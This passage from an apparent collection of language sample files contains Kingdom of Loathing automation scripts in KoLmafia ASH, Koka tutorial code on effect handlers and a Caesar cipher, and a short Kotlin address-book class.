belt]);\n\t\twield($slot[acc2], $item[astral mask]);\n\t}\n\twield($item[Lil' Doctor&trade; bag]);\n\t\n\t// Seal Tooth\n\tif(!have($item[seal tooth]) && user_confirm(\"Do you want to fish for a seal tooth? The script won't spend more than 150 meat at at time without permission.\")) {\n\t\tint spentMeat = 0;\n\t\twhile(!have($item[seal tooth])) {\n\t\t\tint meat = my_meat();\n\t\t\twhile(!have($item[worthless trinket]) && !have($item[worthless gewgaw]) && !have($item[worthless knick-knack]) && my_meat() > meat - 150) {\n\t\t\t\tbuyUntil(1, $item[chewing gum on a string]);\n\t\t\t\tspentMeat++;\n\t\t\t\tuse(1, $item[chewing gum on a string]);\n\t\t\t}\n\t\t\tif(have($item[worthless trinket]) || have($item[worthless gewgaw]) || have($item[worthless knick-knack])) {\n\t\t\t\tcli_execute(\"hermit seal tooth\");\n\t\t\t\tprint(\"You spent \" + spentMeat * 50 + \" meat to acquire a seal tooth.\");\n\t\t\t} else if(!user_confirm(\"You have already spent \" + spentMeat * 50 + \" meat so far to purchase a seal tooth. Do you wish to continue?\")) {\n\t\t\t\tprint(\"You did not acquire a seal tooth.\", \"red\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// Bastille\n\tif(get_property(\"_bastilleGames\").to_int() == 0 && have(bastille)) {\n\t\tprint(\"Using bastille now so we don't die while looking for a goblin. RIP possible 1 turn of buff.\", \"blue\");\n\t\tif(user_confirm(\"Do you want the +meat% drop bastille buff?\")) {\n\t\t\tbastilleBatallion(1, 2, 3, 0);\n\t\t} else if(user_confirm(\"Do you want the +hp regen bastille buff?\")) {\n\t\t\tbastilleBatallion(1, 2, 1, 0);\n\t\t} else if(user_confirm(\"Do you want the +myst bastille buff?\")) {\n\t\t\tbastilleBatallion(1, 2, 2, 0);\n\t\t} else {\n\t\t\tabort(\"You did not pick any of the buff options.\");\n\t\t}\n\t}\n\t\n\tif(!avail($item[continuum transfunctioner])) {\n\tprint(\"Acquiring the continuum transfunctioner.\", \"blue\");\n\t\tvisit_url(\"council.php\");\n\t\tvisit_url(\"place.php?whichplace=forestvillage&action=fv_mystic\");\n\t\trun_choice(1);\n\t\trun_choice(1);\n\t\trun_choice(1);\n\t}\n\t\n\t// Set SongBoom song to meat\n\tif(have($item[SongBoom&trade; BoomBox]) && get_property(\"boomBoxSong\") != \"Total Eclipse of Your Meat\") {\n\t\tif(user_confirm(\"Do you want to set the SongBoom BoomBox to +meat%?\")) {\n\t\t\tprint(\"Setting and adding a change counter for the SongBoom BoomBox.\", \"blue\");\n\t\t\tcli_execute(\"boombox meat\");\n\t\t\tcli_execute(\"counters add \" + (10 - get_property(\"_boomBoxFights\").to_int()) + \" BoomBox reward\");\n\t\t}\n\t}\n\t\n\tprint(\"Please manually put KGB onto ML and collect 3 safety cigars.\", \"red\");\n\t\n\tif(user_confirm(\"First go to the outskirts of cobb's knob with 80ML, cast dark feast and then ensorcel on any goblin, then click yes.\")) {\n\t} else {\n\t\tabort(\"First go to the outskirts of cobb's knob, cast dark feast and then ensorcel on any goblin, then rerun.\");\n\t}\n\t// Set SongBoom song to meat\n\tif(have($item[SongBoom&trade; BoomBox])) {\n\tif(get_property(\"_boomBoxFights\").to_int() != 9) {\n\t\tprint(\"It would appear you were unlucky. Recalibrating the BoomBox counter.\", \"blue\");\n\t\tstop_counter(\"BoomBox reward\");\n\t\tcli_execute(\"counters add \" + (10 - get_property(\"_boomBoxFights\").to_int()) + \" BoomBox reward\");\n\t}\n\t\n\tif(avail(saber) && !get_property(\"_saberUpgrade\").to_boolean()) {\n\t\t\tvisit_url(\"main.php?action=may4\");\n\t\tif(user_confirm(\"Do you want the +ML saber upgrade?\")) {\n\t\t\tprint(\"Setting the saber to +ML.\", \"blue\");\n\t\t\trun_choice(2);\n\t\t} else if(user_confirm(\"Do you want the +res saber upgrade?\")) {\n\t\t\tprint(\"Setting the saber to +res.\", \"blue\");\n\t\t\trun_choice(3);\n\t\t} else {\n\t\t\tprint(\"Please pick your saber upgrade manually. Weirdo.\", \"red\");\n\t\t}\n\t\tset_property(\"_saberUpgrade\", \"true\");\n\t}\n\t\n\t// Horsery\n\tif(get_property(\"horseryAvailable\").to_boolean() && get_property(\"_horsery\") == \"\") {\n\t\tif(user_confirm(\"Do you want the dark horse for +meat and +NC?\")) {\n\t\t\tprint(\"Taking the dark horse for meat and +NC.\", \"blue\");\n\t\t\tif(get_property(\"_horsery\") != \"dark horse\") {\n\t\t\t\tstring temp = visit_url(\"place.php?whichplace=town_right&action=town_horsery\");\n\t\t\t\ttemp = visit_url(\"choice.php?pwd=&whichchoice=1266&option=2\");\n\t\t\t}\n\t\t} else if(!user_confirm(\"Take the horse of your choice and then click yes.\")) {\n\t\t\tabort(\"Take the horse of your choice and then rerun.\");\n\t\t}\n\t}\n\t\n\t// Consults\n\tif(get_property(\"_clanFortuneConsultUse\").to_int() < 3 && have($item[Clan VIP Lounge key])) {\n\t\tprint(\"Obtaining Fortune Teller buff and items.\", \"blue\");\n\t\tcli_execute(\"fortune buff mys\");\n\t}\n\t\twhile(clanmateConsult(\"\"));\n\t}\n\t\n\t// Counters\n\tif(get_property(\"voteAlways\").to_boolean()) {\n\t\tprint(\"Setting some vote wanderer counters.\", \"blue\");\n\t\tcli_execute(\"counters add \" + to_string((12 - (total_turns_played() % 11)) % 11) + \" Democratic Wanderer\");\n\t\tset_property(\"trackVoteMonster\", \"true\");\n\t}\n\n\t// Miscellaneous\n\tif(!get_property(\"_defectiveTokenChecked\").to_boolean()) {\n\t\tvisit_url(\"place.php?whichplace=arcade&action=arcade_plumber\", false);\n\t}\n\t\n\tif(have_effect($effect[Glittering Eyelashes]) < 1) {\n\t\tbuyUntil(1, $item[glittery mascara]);\n\t\tuse(1, $item[glittery mascara]);\n\t}\n\t\n\tif(get_campground() contains $item[packet of tall grass seeds]) {\n\t\tvisit_url(\"/campground.php?action=garden&pwd=\" + my_hash());\n\t}\n\t\n\tif(get_campground() contains $item[potted tea tree] && !get_property(\"_pottedTeaTreeUsed\").to_boolean()) {\n\t\tif(user_confirm(\"Do you want to shake your tree? +90 meat, but aftercore losses.\")) {\n\t\t\tvisit_url(\"/campground.php?action=teatree\");\n\t\t\trun_choice(1);\n\t\t}\n\t}\n\t\n\tif(get_property(\"daycareOpen\").to_boolean() && !get_property(\"_daycareSpa\").to_boolean() && user_confirm(\"Do you want to acquire your daycare mainstat buff (probably yes)?\")) {\n\t\tcli_execute(\"daycare mysticality\");\n\t}\n\t\n\tif(avail($item[Daily Affirmation: Keep Free Hate in your Heart])){\n\t\tif(user_confirm(\"Do you want to use your Affirmation +ML buff (probably yes)?\")) {\n\t\t\tuse(1, $item[Daily Affirmation: Keep Free Hate in your Heart]);\n\t\t}\n\t}\n\nif(get_property(\"telescopeUpgrades\").to_int() > 1) {\n\tcli_execute(\"telescope\");\n\tstring t1;\n\tif(contains_text(get_property(\"telescope1\"), \"muscles\")) {\n\t\tt1 = \"muscle\";\n\t} else if(contains_text(get_property(\"telescope1\"), \"puzzles\")) {\n\t\tt1 = \"mysticality\";\n\t} else if(contains_text(get_property(\"telescope1\"), \"sunglasses\")) {\n\t\tt1 = \"moxie\";\n\t}\n\tstring t2 = \"impossible to determine\";\n\tif(contains_text(get_property(\"telescope2\"), \"fire\")) {\n\t\tt2 = \"hot (8-bit realm semi-rare)\";\n\t} else if(contains_text(get_property(\"telescope2\"), \"eldritch\")) {\n\t\tt2 = \"spooky (spooky forest semi-rare)\";\n\t} else if(contains_text(get_property(\"telescope2\"), \"skulking\")) {\n\t\tt2 = \"sleaze (whitey's grove semi-rare)\";\n\t} else if(contains_text(get_property(\"telescope2\"), \"garbage\")) {\n\t\tt2 = \"stench (guano junction semi-rare)\";\n\t} else if(contains_text(get_property(\"telescope2\"), \"igloo\")) {\n\t\tt2 = \"cold (haunted kitchen semi-rare)\";\n\t}\n\tprint(\"Your level 13 quest tests are \" + t1 + \" and \" + t2 + \".\", \"purple\");\n}\n\tprint(\"Remember to check today's bounties, KGB tab(s) and prepare PirateRealm and vote for your intrinsics/badge if you have it!\", \"red\");\n}"
  },
  {
    "path": "samples/KoLmafia ASH/tt_kingliberated.ash",
    "content": "//this script should be run automatically after the king is liberated. which ends hardcore/ronin restrictions\r\n\r\nimport <scripts/ttpack/util/tt_util.ash>\r\n\r\nvoid changeSettingsForAftercore()\r\n{\r\n\t//change assorted mafia settings for aftercore.\r\n\tprint(\"Configuring recovery settings for aftercore\", \"blue\");\r\n\tset_property(\"recoveryScript\", \"scripts\\\\Universal_recovery.ash\");\r\n\tset_property(\"hpAutoRecovery\", \"0.7\");\r\n\tset_property(\"hpAutoRecoveryTarget\", \"1.0\");\r\n\tset_property(\"mpAutoRecovery\", \"0.1\");\r\n\tset_property(\"mpAutoRecoveryTarget\", \"0.15\");\r\n\tset_property(\"manaBurningTrigger\", \"1.0\");\r\n\tset_property(\"manaBurningThreshold\", \"0.5\");\r\n\tcli_execute(\"ccs aftercore\");\r\n}\r\n\r\nvoid main()\r\n{\r\n\tif(!inAftercore())\r\n\t{\r\n\t\tabort(\"This script should only be run after the king was liberated\");\r\n\t}\r\n\tprint(\"Running tt_kingliberated script\", \"blue\");\r\n\t\r\n\tchangeSettingsForAftercore();\t\t\t//change assorted mafia settings for aftercore.\r\n\t\r\n\tprint(\"Pulling all items from hangk's ancestral storage\", \"blue\");\r\n\tcli_execute(\"pull all\");\t\t\t\t//pull all hangk items\r\n\t\r\n\tcli_execute(\"tt_login.ash\");\t\t\t//run login script\r\n\tcli_execute(\"tt_fortune.ash\");\t\t\t//reply and ask for zatara fortunes.\r\n\tcli_execute(\"pvprotect.ash\");\t\t\t//closet pvp stealable items\r\n\ttt_snapshot();\t\t\t\t\t\t\t//run cc_snapshot if applicable to showoff your greenboxes\r\n\r\n\tif(get_property(\"lastDesertUnlock\").to_int() != my_ascensions())\t//do not have desert access\r\n\t{\r\n\t\tprint(\"acquire bitchin\\' meatcar\", \"blue\");\r\n\t\tretrieve_item(1, $item[Bitchin\\' Meatcar]);\r\n\t}\r\n\r\n\tif(pvp_attacks_left() > 0)\r\n\t{\r\n\t\tcli_execute(\"maximize food drop\");\t//prepare outfit\r\n\t\tcli_execute(\"pvp flowers 0\");\t\t//burn remaining pvp fights. set for average season.\r\n\t}\r\n\r\n\tprint(\"tt_kingliberated script finished\", \"green\");\r\n}"
  },
  {
    "path": "samples/Koka/community-docs.kk",
    "content": "/*\nMIT License\n\nCopyright (c) 2024 koka-community\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*/\nfun list/show(l: list<a>, ?show: (a) -> string): string\n  \"[\" ++ l.map(show).join(\", \") ++ \"]\" \n\nfun tuple/show(l: (a,b), ?a/show: (a) -> string, ?b/show: (b) -> string): string\n  match l\n    (a, b) -> \"(\" ++ a.show ++ \", \" ++ b.show ++ \")\"\n\n// A special show for characters\n//   When resolving an implicit parameter `?show` the\n// `chars/show` will be preferred over `list/show` as the chain is shorter\nfun chars/show( cs : list<char> ) : string\n  \"\\\"\" ++ cs.map(string).join ++ \"\\\"\"\n\nl2.show\n// will be inferred as\nl2.list/show(?show=fn(l) l.list/show(?show=int/show))\n// with all of the implicit parameters eta expanded and filled in explicitly.\n\nfun nl/show(l: list<a>, ?show: (a) -> string): string\n  l.map(show).join(\"\\n\")\n\nfun padded/show(i: int): string\n  if i < 10 then \"0\" ++ i.show else i.show\n\nvalue struct paddedlist {inner : list<int>}\nfun padded/show(pl: paddedlist): string\n  pl.inner.show(?show=padded/show)\n\nnamed effect file\n  fun read-line() : string   // `:(file)   -> <exn> a`\n// a (named) handler instance for files\nfun file(fname, action) \n  var content := read-text-file(fname.path).lines\n  with f <- named handler \n    fun read-line() \n      match content  \n        Nil -> \"\" \n        Cons(x,xx) -> { content := xx; x }\n  action(f)\npub fun main() \n  with f1 <- file(\"package.yaml\")\n  with f2 <- file(\"stack.yaml\")\n  println( f1.read-line() ++ \"\\n\" ++ f2.read-line() )\n\nfun wrong-escape1() \n  with f <- file(\"stack.yaml\")\n  f\npub fun test() \n  val f = wrong-escape1()\n  f.read-line.println\n\nnamed scoped effect file<s::S> \n  fun read-line() : string  // `: (f : file<s>) -> scope<s> string`\n// a handler instance for files\nfun file2(fname : string, action : forall<s> file<s> -> <scope<s>|e> a ) : e a \n  var i := 0\n  with f <- named handler \n    fun read-line()\n      i := i + 1\n      (fname ++ \": line \" ++ i.show)\n  action(f)\n\nopen type mytype\n  Constr1(a: int)\n  Constr2(b: string)\n\nextend type mytype\n  Constr3(c: float64)\n\nalias i-to-s = int -> string\nalias i-to-s-e<e> = int -> e string\n\nalias pure = <div,exn>\nalias st<h> = <alloc<h>,read<h>,write<h>>\n\nfun sum(xs: list<int>): int\n  match xs\n    Nil -> 0\n    Cons(x, xs) -> x + sum(xs)\n\n// BEGIN:sum-first-two\nfun sum-first-two(xs: list<int>): list<int>\n  match xs\n    Cons(x, tail as Cons(y, _)) -> Cons(x + y, tail)\n    xs' -> xs'\n// END:sum-first-two\n\n// BEGIN:gather-positives\nfun gather-positives(xs: list<int>): list<int>\n  match xs\n    Nil -> Nil\n    Cons(x, xs) | x > 0 -> Cons(x, gather-positives(xs))\n    Cons(_, xs) -> gather-positives(xs)\n// END:gather-positives\n\n// BEGIN:sum-first-two2\nfun sum-first-two2(xs: list<int>): list<int>\n  match xs\n    Cons(x, tail as Cons(y, _)) -> Cons(x + y, tail)\n    xs' -> xs'\n// END:sum-first-two2\n\n// BEGIN:gather-positives2\nfun gather-positives2(xs: list<int>): list<int>\n  match xs\n    Nil -> Nil\n    Cons(x, xs) | x > 0 -> Cons(x, gather-positives2(xs))\n    Cons(_, xs) -> gather-positives2(xs)\n// END:gather-positives2\n\npub effect fail<b>\n  final ctl fail(info: b) : a\n\nlinear effect pretty\n  val indentation: int\n  fun print(s: string): ()\n\nextern sizeofint(): int32\n  c inline \"sizeof(int)\"\n  js inline \"4\"\n\nextern add(x: int32, y: int32): int32\n  c inline \"($1 + $2)\"\n  js inline \"$1 + $2\"\n\nextern add2(x: int32, y: int32): int32\n  c \"add\"\n  js \"add\"\n\nextern kk_add(x: int32, y: int32): int32\n  c \"kk_add\"\n  js \"kk_add\"\n\nextern import\n  c file \"my_file.h\"\n  js file \"my_file.js\"\n\nextern import\n  c file \"my_file\"\n\nextern kk_closure(f: () -> int32): int32\n  c \"kk_closure\"\n\ntype tree\n  Tip\n  Bin( left: tree, value : int, right: tree )\n\nfbip fun tmap-inorder( t : tree, f : int -> int ) : tree\n  match t\n    Bin(l,x,r) -> Bin( l.tmap-inorder(f), f(x), r.tmap-inorder(f) )\n    Tip        -> Tip\n\ntype visitor\n  Done\n  BinR( right:tree, value : int, visit : visitor )\n  BinL( left:tree, value : int, visit : visitor )\n\ntype direction\n  Up\n  Down\n\nfip fun tmap( f : int -> int, t : tree, visit : visitor, d : direction )\n  match d\n    Down -> match t     // going down a left spine\n      Bin(l,x,r) -> tmap(f,l,BinR(r,x,visit),Down) // A\n      Tip        -> tmap(f,Tip,visit,Up)           // B\n    Up -> match visit   // go up through the visitor\n      Done        -> t                             // C\n      BinR(r,x,v) -> tmap(f,r,BinL(t,f(x),v),Down) // D\n      BinL(l,x,v) -> tmap(f,Bin(l,x,t),v,Up)       // E"
  },
  {
    "path": "samples/Koka/official-tutorial1.kk",
    "content": "/*----------------------------------------------------------------------------\n   Copyright 2012-2021, Microsoft Research, Daan Leijen\n\n   Licensed under the Apache License, Version 2.0 (\"The Licence\"). You may not\n   use this file except in compliance with the License. A copy of the License\n   can be found in the LICENSE file at the root of this distribution.\n----------------------------------------------------------------------------*/\n\nimport std/num/float64\n\nfun main() {\n  println(\"Hello world!\") // println output\n}\n\nfun encode( s : string, shift : int )\n  fun encode-char(c)\n    if c < 'a' || c > 'z' then return c\n    val base = (c - 'a').int\n    val rot  = (base + shift) % 26\n    (rot.char + 'a')\n  s.map(encode-char)\n\nfun caesar( s : string ) : string\n  s.encode( 3 )\n\nfun showit( s : string )\n  s.encode(3).count.println\n\nfun encode2( s : string, shift : int )\n  s.map( fn(c)\n    if c < 'a' || c > 'z' then return c\n    val base = (c - 'a').int\n    val rot  = (base + shift) % 26\n    (rot.char + 'a')\n  )\n\nfun print10()\n  for(1,10) fn(i)\n    println(i)\n\nfun printhi10()\n  repeat(10)\n    println(\"hi\")\n\nfun print11()\n  var i := 10\n  while { i >= 0 }\n    println(i)\n    i := i - 1\n\nfun twice(f)\n  f()\n  f()\n\nfun test-twice()\n  twice\n    twice\n      println(\"hi\")\n\npub fun test-with1()\n  with twice\n  with twice\n  println(\"hi\")\n\npub fun test-with2() {\n  with x <- list(1,10).foreach\n  println(x)\n}\n\nfun test-finally()\n  with finally{ println(\"exiting..\") }\n  println(\"entering..\")\n  throw(\"oops\") + 42\n\n// declare an abstract operation: emit, how it emits is defined dynamically by a handler.\neffect fun emit(msg : string) : ()\n\n// emit a standard greeting.\nfun hello() : emit ()\n  emit(\"hello world!\")\n\n// emit a standard greeting to the console.\npub fun hello-console1() : console ()\n  with handler\n    fun emit(msg) println(msg)\n  hello()\n\nfun world()\n  replace-all(\"hi there\", \"there\", \"world\")  // returns \"hi world\"\n\nfun world2()\n  \"hi there\".replace-all( repl=\"world\", pattern=\"there\" )\n\nfun sublist( xs : list<a>, start : int, len : int = xs.length ) : list<a>\n  if start <= 0 return xs.take(len)\n  match xs\n    Nil        -> Nil\n    Cons(_,xx) -> xx.sublist(start - 1, len)\n\n// The letter frequency table for English\nval english = [8.2,1.5,2.8,4.3,12.7,2.2,\n               2.0,6.1,7.0,0.2,0.8,4.0,2.4,\n               6.7,7.5,1.9,0.1, 6.0,6.3,9.1,\n               2.8,1.0,2.4,0.2,2.0,0.1]\n\n// Small helper functions\nfun percent( n : int, m : int )\n  100.0 * (n.float64 / m.float64)\n\nfun rotate( xs : list<a>, n : int ) : list<a>\n  xs.drop(n) ++ xs.take(n)\n\n// Calculate a frequency table for a string\nfun freqs( s : string ) : list<float64>\n  val lowers = list('a','z')\n  val occurs = lowers.map( fn(c) s.count(c.string) )\n  val total  = occurs.sum\n  occurs.map( fn(i) percent(i,total) )\n\n// Calculate how well two frequency tables match according\n// to the _chi-square_ statistic.\nfun chisqr( xs : list<float64>, ys : list<float64> ) : float64\n  zipwith(xs,ys, fn(x,y) ((x - y)^2.0)/y ).foldr(0.0,(+))\n\n// Crack a Caesar encoded string\nfun uncaesar( s : string ) : string\n  val table  = freqs(s)                   // build a frequency table for `s`\n  val chitab = list(0,25).map fn(n)       // build a list of chisqr numbers for each shift between 0 and 25\n                 chisqr( table.rotate(n), english )\n\n  val min    = chitab.minimum()           // find the mininal element\n  val shift  = chitab.index-of( fn(f) f == min ).negate  // and use its position as our shift\n  s.encode( shift )\n\nfun test-uncaesar()\n  println( uncaesar( \"nrnd lv d ixq odqjxdjh\" ) )\n\nfun square1( x : int ) : total int   { x*x }\nfun square2( x : int ) : console int { println( \"a not so secret side-effect\" ); x*x }\nfun square3( x : int ) : div int     { x * square3( x ) }\nfun square4( x : int ) : exn int     { throw( \"oops\" ); x*x }\n\nfun square5( x : int ) : int\n  x*x\n\nfun square6( x : int ) : _e int\n  println(\"I did not want to write down the \\\"console\\\" effect\")\n  x*x\n\nfun combine-effects()\n  val i = srandom-int() // non-deterministic\n  throw(\"oops\")         // exception raising\n  combine-effects()     // and non-terminating\n\nalias pure = <div,exn>\n\nfun map : (xs : list<a>, f : (a) -> e b) -> e list<b>\n  match xs\n    Cons(x,xx) -> Cons(f(x), xx.map(f))\n    Nil -> Nil\n\nfun looptest()\n  while { is-odd(srandom-int()) }\n    throw(\"odd\")\n\nfun fib(n : int) : div int\n  if n <= 0   then 0\n  elif n == 1 then 1\n  else fib(n - 1) + fib(n - 2)\n\nfun fib2(n)\n  var x := 0\n  var y := 1\n  repeat(n)\n    val y0 = y\n    y := x+y\n    x := y0\n  x\n\nfun wrong() : (() -> console ())\n  var x := 1\n  (fn(){ x := x + 1; println(x) })\n\nfun fib3(n)\n  val x = ref(0)\n  val y = ref(1)\n  repeat(n)\n    val y0 = !y\n    y := !x + !y\n    x := y0\n  !x\n\nstruct person\n  age : int\n  name : string\n  realname : string = name\n\nval brian = Person( 29, \"Brian\" )\n\nfun birthday( p : person ) : person\n  p( age = p.age + 1 )\n\nfun copy( p, age = p.age, name = p.name, realname = p.realname )\n  Person(age, name, realname)\n\ntype color\n  Red\n  Green\n  Blue\n\ntype void\n\ntype ()\n  ()\n\ntype bool\n  False\n  True\n\ntype number\n  Infinity\n  Integer( i : int )\n\ntype list<a>\n  Nil\n  Cons{ head : a; tail : list<a> }\n\nstruct person2{ age : int; name : string; realname : string = name }\n\ntype person3\n  Person{ age : int; name : string; realname : string = name }\n\ntype person4\n  Person\n    age : int\n    name : string\n    realname : string = name\n\nvalue struct argb{ alpha: int; color-red: int; color-green: int; color-blue: int }\n\neffect raise\n  ctl raise( msg : string ) : a\n\nfun safe-divide( x : int, y : int ) : raise int\n  if y==0 then raise(\"div-by-zero\") else x / y\n\nfun raise-const() : int\n  with handler\n    ctl raise(msg) 42\n  8 + safe-divide(1,0)\n\nfun raise-const1() : int\n  with ctl raise(msg) 42\n  8 + safe-divide(1,0)\n\neffect ask<a>                   // or: effect<a> ctl ask() : a\n  ctl ask() : a\n\nfun add-twice() : ask<int> int\n  ask() + ask()\n\nfun ask-const() : int\n  with ctl ask() resume(21)\n  add-twice()\n\nfun ask-random() : random int\n  with ctl ask() resume(random-int())\n  add-twice()\n\nfun ask-once() : int\n  var count := 0\n  with ctl ask()\n    count := count + 1\n    if count <= 1 then resume(42) else 0\n  add-twice()\n\nfun ask-const2() : int\n  with fun ask() 21\n  add-twice()\n\neffect ask2<a>\n  fun ask() : a\n"
  },
  {
    "path": "samples/Koka/official-tutorial2.kk",
    "content": "/*----------------------------------------------------------------------------\n   Copyright 2012-2021, Microsoft Research, Daan Leijen\n\n   Licensed under the Apache License, Version 2.0 (\"The Licence\"). You may not\n   use this file except in compliance with the License. A copy of the License\n   can be found in the LICENSE file at the root of this distribution.\n----------------------------------------------------------------------------*/\n\neffect val width : int\n\nfun pretty-internal( line : string ) : width string\n  line.truncate(width)\n\nfun pretty-thin(d : doc) : string\n  with val width = 40\n  pretty(d)\n\neffect fun emit( msg : string ) : ()\n\nfun ehello() : emit ()\n  emit(\"hello\")\n  emit(\"world\")\n\nfun ehello-console() : console ()\n  with fun emit(msg) println(msg)\n  ehello()\n\nfun emit-console( action )\n  with fun emit(msg) println(msg)\n  action()\n\nval emit-console2 = handler\n  fun emit(msg) println(msg)\n\nfun ehello-console2() : console ()\n  with emit-console\n  ehello()\n\nfun emit-collect( action : () -> <emit|e> () ) : e string\n  var lines := []\n  with handler\n    return(x)     lines.reverse.join(\"\\n\")\n    fun emit(msg) lines := Cons(msg,lines)\n  action()\n\nfun ehello-commit() : string\n  with emit-collect\n  ehello()\n\nfun catch( hnd : (string) -> e a, action : () -> <raise|e> a ) : e a\n  with ctl raise(msg) hnd(msg)\n  action()\n\nfun catch-example()\n  with catch( fn(msg){ println(\"error: \" ++ msg); 42 } )\n  safe-divide(1,0)\n\nfun raise-maybe( action : () -> <raise|e> a ) : e maybe<a>\n  with handler\n    return(x)      Just(x)   // normal return: wrap in Just\n    ctl raise(msg) Nothing   // exception: return Nothing directly\n  action()\n\nfun div42()\n  (raise-maybe{ safe-divide(1,0) }).default(42)\n\neffect state<a>\n  fun get() : a\n  fun set( x : a ) : ()\n\nfun sumdown( sum : int = 0 ) : <state<int>,div> int\n  val i = get()\n  if i <= 0 then sum else\n    set( i - 1 )\n    sumdown( sum + i )\n\nfun state( init : a, action : () -> <state<a>,div|e> b ) : <div|e> b\n  var st := init\n  with handler\n    fun get()  st\n    fun set(i) st := i\n  action()\n\nfun pstate( init : a, action : () -> <state<a>,div|e> b ) : <div|e> (b,a)\n  var st := init\n  with handler\n    return(x)  (x,st)       // pair with the final state\n    fun get()  st\n    fun set(i) st := i\n  action()\n\nfun pstate2( init : a, action : () -> <state<a>,div|e> b ) : <div|e> (b,a)\n  var st := init\n  with return(x) (x,st)\n  with handler\n    fun get()  st\n    fun set(i) st := i\n  action()\n\nfun no-odds() : <raise,state<int>> int\n  val i = get()\n  if i.is-odd then raise(\"no odds\") else\n    set(i / 2)\n    i\n\nfun state-raise(init) : div (maybe<int>,int)\n  with pstate(init)\n  with raise-maybe\n  no-odds()\n\nfun raise-state(init) : div maybe<(int,int)>\n  with raise-maybe\n  with pstate(init)\n  no-odds()\n\nfun mask-emit()\n  with fun emit(msg) println(\"outer:\" ++ msg)\n  with fun emit(msg) println(\"inner:\" ++ msg)\n  emit(\"hi\")\n  mask<emit>\n    emit(\"there\")\n\nfun mask-print( action : () -> e int ) : e int\n  with ctl raise(msg) 42\n  val x = mask<raise>(action)\n  if x.is-odd then raise(\"wrong\")   // internal exception\n  x\n\neffect<a> val peek : a             // get the state\neffect<a> ctl poke( x : a ) : ()   // set the state to x\n\nfun ppstate( init : a, action : () -> <peek<a>,poke<a>|e> b ) : e b\n  with val peek = init\n  with ctl poke(x)\n    mask<peek>\n      with val peek = x\n      resume(())\n  action()\n\nfun emit-quoted1( action : () -> <emit,emit|e> a ) : <emit|e> a\n  with fun emit(msg) emit(\"\\\"\" ++ msg ++ \"\\\"\")\n  action()\n\nfun emit-quoted2( action : () -> <emit|e> a ) : <emit|e> a\n  with override fun emit(msg) emit(\"\\\"\" ++ msg ++ \"\\\"\" )\n  action()\n\nfun extra-wide( action )\n  with override val width = 2*width\n  action()\n\neffect ctl choice() : bool\n\nfun xor() : choice bool\n  val p = choice()\n  val q = choice()\n  if p then !q else q\n\nfun choice-random(action : () -> <choice,random|e> a) : <random|e> a\n  with fun choice() random-bool()\n  action()\n\nfun choice-all(action : () -> <choice|e> a) : e list<a>\n  with handler\n    return(x)    [x]\n    ctl choice() resume(False) ++ resume(True)\n  action()\n\nfun surprising() : <choice,state<int>> bool\n  val p = choice()\n  val i = get()\n  set(i+1)\n  if i>0 && p then xor() else False\n\nfun state-choice() : div (list<bool>,int)\n  pstate(0)\n    choice-all(surprising)\n\nfun choice-state() : div list<(bool,int)>\n  choice-all\n    pstate(0,surprising)\n\ntype fhandle\nfun fopen( path : string )   : <exn,filesys> fhandle\nfun hreadline( h : fhandle ) : <exn,filesys> string\nfun hclose( h : fhandle )    : <exn,filesys> ()\n\neffect fun fread() : string\n\nfun with-file( path : string, action : () -> <fread,exn,filesys|e> a ) : <exn,filesys|e> a\n  val h = fopen(path)\n  with handler\n    return(x)   { hclose(h); x }\n    fun fread() hreadline(h)\n  action()\n\nfun with-file( path : string, action : () -> <fread,exn,filesys|e> a ) : <exn,filesys|e> a\n  val h = fopen(path)\n  with finally\n    hclose(h)\n  with fun fread()\n    hreadline(h)\n  action()\n\ntype tree\n  Tip\n  Bin( left: tree, value : int, right: tree )\n\nfun tmap-inorder( t : tree, f : int -> int ) : tree\n  match t\n    Bin(l,x,r) -> Bin( l.tmap-inorder(f), f(x), r.tmap-inorder(f) )\n    Tip        -> Tip\n\ntype visitor\n  Done\n  BinR( right:tree, value : int, visit : visitor )\n  BinL( left:tree, value : int, visit : visitor )\n\ntype direction\n  Up\n  Down\n\nfun tmap( f : int -> int, t : tree, visit : visitor, d : direction )\n  match d\n    Down -> match t     // going down a left spine\n      Bin(l,x,r) -> tmap(f,l,BinR(r,x,visit),Down) // A\n      Tip        -> tmap(f,Tip,visit,Up)           // B\n    Up -> match visit   // go up through the visitor\n      Done        -> t                             // C\n      BinR(r,x,v) -> tmap(f,r,BinL(t,f(x),v),Down) // D\n      BinL(l,x,v) -> tmap(f,Bin(l,x,t),v,Up)       // E\n"
  },
  {
    "path": "samples/Kotlin/Foo.kt",
    "content": "package addressbook\n\nclass Contact(\n  val name : String,\n  val emails : List<EmailAddress>,\n  val addresses : List<PostalAddress>,\n  val phonenums : List<PhoneNumber>\n)\n\nclass EmailAddress(\n  val user : String,\n  val host : String\n)\n\nclass PostalAddress(\n  val streetAddress : String,\n  val city : String,\n  val zip : String,\n  val state : USState?,\n  val country : Country\n) {\n   assert {(state == null) xor (country == Countries[\"US\"]) }\n}\n\nclass PhoneNumber(\n  val country : Country,\n  val areaCode : Int,\n  val number : Long\n)\n\nobject Countries {\n  fun get(id : CountryID) : Country = countryTable[id]\n  \n  private var table : Map<String, Country>? = null\n  private val countryTable : Map<String, Country>\n    get() {\n      if (table == null) {\n        table = HashMap()\n        for (line in TextFile(\"countries.txt\").lines(stripWhiteSpace = true)) {\n          table[line] = Country(line)\n        }\n      }\n      return table\n    }\n}\n\nclass Country(val name : String)"
  },
  {
    "path": "samples/Kusto/application_consent_or_assignment.kql",
